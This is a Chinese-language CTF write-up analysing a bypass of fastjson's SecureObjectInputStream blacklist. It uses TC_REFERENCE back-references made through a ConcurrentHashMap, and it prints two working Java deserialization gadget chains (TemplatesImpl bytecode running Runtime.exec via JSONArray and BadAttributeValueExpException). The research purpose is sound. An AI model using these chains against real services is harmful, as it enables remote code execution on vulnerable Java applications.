前言
前面提到了使用aliyunCTF中的ezbean一题为例子,详细的分析了为什么JSONArray/JSONObject类的toString方法的调用将会触发getter方法的调用
https://www.freebuf.com/vuls/365414.html
当时选用的环境是fastjson == 1.2.60
,在那个环境中,既然可以触发任意可序列化类的getter方法,我们何不考虑不使用题目的sink(也即是MyBean类中的getConnect方法触发JNDI注入),转而使用常用的sink点 ==> TemplateImpl#getOutputProperties
方法执行恶意逻辑
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
ObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
将会出现下面的错误
这是因为TemplatesImpl
类是在fastjson中的黑名单中
那么是如何检查的?又有什么Bypass方法吗?
SecureObjectInputStream
>=1.2.49
根据调用栈,我们也知道关键是调用了SecureObjectInputStream#resolveClass
方法来对反序列化的类进行检查
这是在JSONObject
类中的一个静态类,其通过重写ObjectInputStream#resolveClass
方法来进行类的安全性检查
主要是在ParserConfig#checkAutoType
方法中进行检查
针对checkAutoType
这个方法的作用,如果跟进过fastjson的漏洞,将会非常熟悉,这里简单的描述一下
这里如果开启了autoTypeSupport
,将会按照先白名单后黑名单的方式检查
而如果没有开启autoTypeSupport
,相反将会按照先黑名单后白名单的方式进行检查
在高版本fastjson中,默认是关闭autoTypeSupport
的,所以选用第二种检查方式,在黑名单检验中检测出安全风险,抛出了异常
而黑名单是在ParserConfig
的静态代码块中进行传递
有一个对应的项目,具有部分hash的黑名单类
GitHub - LeadroyaL/fastjson-blacklist
这里是直接将com.sun
这个包名下的所有类都给列入了黑名单
而最终SecureObjectInputStream
这个类是在JSONObjectj / JSONArray
类中的readObject
方法中实现的
< 1.2.49
上面叙述的特性是在1.2.49版本及之后存在的
然而在1.2.49之前的版本中,虽然这两个类实现了Serialiable
接口,但是并没有重写自己的readObject
方法
Bypass思路
逆向研究
既然是要是在反序列化过程中因为调用了resolveClass
方法而进行的安全性检查,那么有没有什么方法能够跳过这个方法的调用?
我们反方向探究一下
我们在readNonProxyDesc
方法调用resovleClass
方法的位置打下断点
对于readNonProxyDesc
方法的主要功能
读取并返回一个非动态代理类的类描述符。将passHandle设置为类描述符的指定句柄。如果类描述符不能被解析为本地虚拟机中的一个类,一个ClassNotFoundException将与描述符的句柄相关
而该方法也是在readClassDesc
方法中调用的
这个方法的功能为:
读入并返回(可能为空)类描述符。将passHandle设置为类描述符的指定句柄。如果类描述符不能被解析为本地虚拟机中的一个类,一个ClassNotFoundException将与该类描述符的句柄相关。
主要是通过获取tc
之后进行判断不同的case语句中
TC_NULL: readNull调用
TC_REFERENCE:
readHandle
调用TC_PROXYCLASSDEC / TC_CLASSDEC:
readProxyDec / readNonProxyDec
的调用
向上可以追溯到readObject0
的调用
readObject0
方法是对readObject
方法的一种底层的实现
根据不同的类型执行不同的操作,大致可以做出下面的总结
最后会执行resolveClass
方法的方法有:
readClass
readClassDesc
readArray
readOrdinaryObject
......
对比一下就只有下面的类型不会调用resolveClass
方法
Null
Reference
String / LongString
Enum
Exception
......
我们这里需要的是一个恶意的JSONArray / JSONObject
对象,所以不可能是NULL / String / LongString / Enum / Exception
等等类型
只能选择Reference
这个入口点
在ObjectStreamConstants
接口中存在有对TC_REFERENCE
变量的解释
这是一种对已经写入流中的对象的一种引用
TC_REFERENCE
是一个控制指令,用于序列化时标识一个对象已经在序列化流中出现过,这样在后续出现该对象时就不需要再将该对象的整个对象图写入流中,而只需要写入一个引用标识即可
类似的,我们就可以序列化过程中在首先序列化了一个恶意的JSONArray / JSONObject
类之后再次序列化同样的对象,在序列化第二个恶意对象之后,将不会再次序列化完整的对象,只会创建一个引用标识,指向前面已经序列化了的对象,同样的,在反序列化的过程中,针对第二个恶意对象,在获取该对象的控制指令,也即是代码中的由bin.peekByte()
获取的变量tc
,将是TC_REFERENCE
表明一种引用类型
避免了反序列化正常的类将会调用resolveClass
方法来进行类的安全性检查
那么如何创建一个引用类型?
有很多种,以HashMap为代表的能够存储key-value键值对且可序列化的类,在key-value为相同的恶意对象将会创建一个引用类型
HashMap
ConcurrentHashMap
LinkedHashMap
IdentityHashMap
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();
concurrentHashMap.put(templates, val);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(concurrentHashMap);
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
ObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
ezBean的第二解
有了这种思路,在ezBean题目中使用的fastjson 1.2.60版本,理论上如果没有对getter方法的sink点进行限制,且目标环境中存在有fastjson的依赖,同时具有反序列化的入口,都是能够通过这种方法RCE
resolveClass的认识
resolveClass方法本身是为了在反序列化的过程中进行安全性检查,防止恶意类的利用,在fastjson 1.2.48版本中在JSONArray / JSONObject
的readObject方法中仅仅实现了SecureObjectInputStream
类的安全,而并没有实现任何的反序列化逻辑应该也是有着这样的安全考虑
但是这种绕过SecureObjectInputStream
的检查思路,不仅仅只可以用在fastjson中,在其他的环境中同样有着类似的Bypass思路
启示: 安全的反序列化检查应该置于source点,而不是在反序列化过程中进行检查,可能会存在绕过的风险
参考
https://github.com/LeadroyaL/fastjson-blacklist
https://y4tacker.github.io/
https://github.com/Drun1baby/CTF-Repo-2023/tree/main/2023/%E9%98%BF%E9%87%8C%E4%BA%91CTF/web/ezbean